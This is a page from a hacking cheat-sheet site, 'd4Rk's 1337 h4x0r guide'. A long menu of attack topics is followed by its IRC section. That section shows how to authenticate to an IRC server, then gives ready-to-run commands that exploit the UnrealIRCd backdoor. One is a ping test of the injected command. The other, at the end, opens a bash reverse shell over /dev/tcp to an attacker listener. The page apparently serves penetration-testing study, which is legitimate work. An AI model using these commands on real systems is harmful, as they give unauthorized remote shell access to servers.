d4Rk's 1337 h4x0r guide
  • Introduction
  • Reconnaissance
    • Recon
    • OSINT
  • Enumeration
    • Network discovery
    • Port scanning
    • Webserver scanning
    • Exploit detection
    • Fuzzing
    • Process monitoring
  • Exploitation
    • Shells
      • Shells
      • TTY
    • Passwords
      • Hashcat
      • John the Ripper (JTR)
      • Hydra
      • Passwords & credentials
    • Web
      • SQL injection (SQLi)
      • Cross site scripting (XSS)
      • File inclusions (LFI, RFI)
      • Directory traversal
      • Cross site request forgery (CSRF)
      • XML external entity (XXE)
      • Cross origin resource sharing (CORS)
      • Server-side request forgery (SSRF)
      • Server-side template injection (SSTI)
      • Access control vulnerabilities
      • Authentication vulnerabilities
      • JWT attacks
      • File uploads
      • Host header attacks
      • Clickjacking
      • Logic flaws
      • OS command injection
      • HTTP Request smuggling
      • Insecure deserialization
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      • General
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      • Overview
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      • Mimikatz
      • PowerSploit
      • Juicy Potato, Rotten Potato (NG)
      • JAWS
      • Empire
      • SILENTTRINITY
  • Post exploitation
    • Loot
    • Pivoting
    • Standalone Tools
  • Services
    • TCP
      • TCP 21: FTP
      • TCP 22: SSH
      • TCP 23: Telnet
      • TCP 25, 587: SMTP
      • TCP 53: DNS
      • TCP 80, 443: HTTP(S)
      • TCP 88: Kerberos
      • TCP 110, 995: POP3(S)
      • TCP 111: rpcbind
      • TCP 135: MSRPC
      • TCP 139, 445: NetBIOS, SMB
      • TCP 143, 993: IMAP(S)
      • TCP 389, 636, 3268, 3269: LDAP
      • TCP 1433, UDP 1434: MSSQL Server
      • TCP 2049: NFS
      • TCP 3306: MySQL
      • TCP 3389: RDP
      • TCP 5985: WinRM
      • TCP 6379: Redis
      • TCP 27017: MongoDB
    • UDP
      • UDP 137, 138, TCP 139: NetBIOS
      • UDP 161: SNMP
    • Misc
      • Active Directoy
      • Apache Tomcat
      • Drupal
      • H2 Databases
      • IIS
      • IPsec
      • IRC
      • Java Applets
      • Java RMI
      • Jenkins
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      • Oracle
      • PHP
      • SharePoint
      • WordPress
  • File transfer
    • Overview
    • Wget
    • Pure-FTPd
    • TFTP
    • VBScript: Wget clone
  • Misc
    • Bash
    • Burp Suite
    • Crypto
    • Ebowla
    • Firefox extensions
    • Impacket
    • Memory forensics
    • Metasploit Framework (MSF)
    • MITM
    • Msfvenom
    • Pass the Hash (PTH)
    • PowerShell
    • PowerShell on Linux
    • Wireshark
    • Wordlists and dictionaries
  • Bug Bounty
    • Platforms
    • Tools
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  • Authenticate
  • Backdoor in Unreal IRC
  • Exploit it
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  1. Services
  2. Misc

IRC

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Last updated 3 years ago

Internet Relay Chat is an application layer protocol that facilitates communication in the form of text. The chat process works on a client/server networking model.

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Authenticate

ncat <ip> <port>
PASS <anyPassword>
NICK <anyNickname>
USER <anyNickname> <anyServerName> AndComment :<anyComment>

Backdoor in Unreal IRC

Listen for icmp message

tcpdump -i tun0 icmp

Check if backdoor works

echo "AB; ping -c 1 <own-ip> | nc <target-ip> <port>

Exploit it

ncat -lnvp <port>
echo "AB; bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'" | ncat <target-ip> <port>
Wikipedia
A backdoor in UnrealIRCd LWN.net